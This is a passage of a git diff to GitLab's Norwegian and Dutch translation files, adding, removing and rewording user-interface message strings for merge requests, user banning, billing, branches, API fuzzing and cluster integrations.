msgstr "https://din-bitbucket-tjener"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "bilde-diff"
@@ -38031,8 +38800,8 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
-msgstr "har kun lesetilgang"
+msgid "is read-only"
+msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
msgstr ""
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] "fletteforespørsel"
msgstr[1] "fletteforespørsler"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr "flettet %{timeAgo}"
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,12 +38991,9 @@ msgstr "Godkjent av"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "Avbryt automatisk innfletting"
-
msgid "mrWidget|Check out branch"
msgstr ""
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "Nevnelser"
msgid "mrWidget|Merge"
msgstr "Flett"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Fletting mislyktes."
@@ -38694,6 +39463,12 @@ msgstr "revidert"
msgid "satisfied"
msgstr "tilfredsstilt"
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr "de(n) følgende sak(en)"
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "dette dokumentet"
diff --git a/locale/nl_NL/gitlab.po b/locale/nl_NL/gitlab.po
index a763c9d7f3e..f690a97f8e1 100644
--- a/locale/nl_NL/gitlab.po
+++ b/locale/nl_NL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:23\n"
+"PO-Revision-Date: 2021-06-01 20:45\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d laag"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}Groepen%{group_docs_link_end} stellen u in staat over meerdere projecten samen te werken en te beheren. Leden van een groep hebben toegang tot alle projecten."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Branches|Kan geen HEAD-commit vinden voor deze branch"
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Commit"
msgid "CommitMessage|Add %{file_name}"
msgstr "%{file_name} toevoegen"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
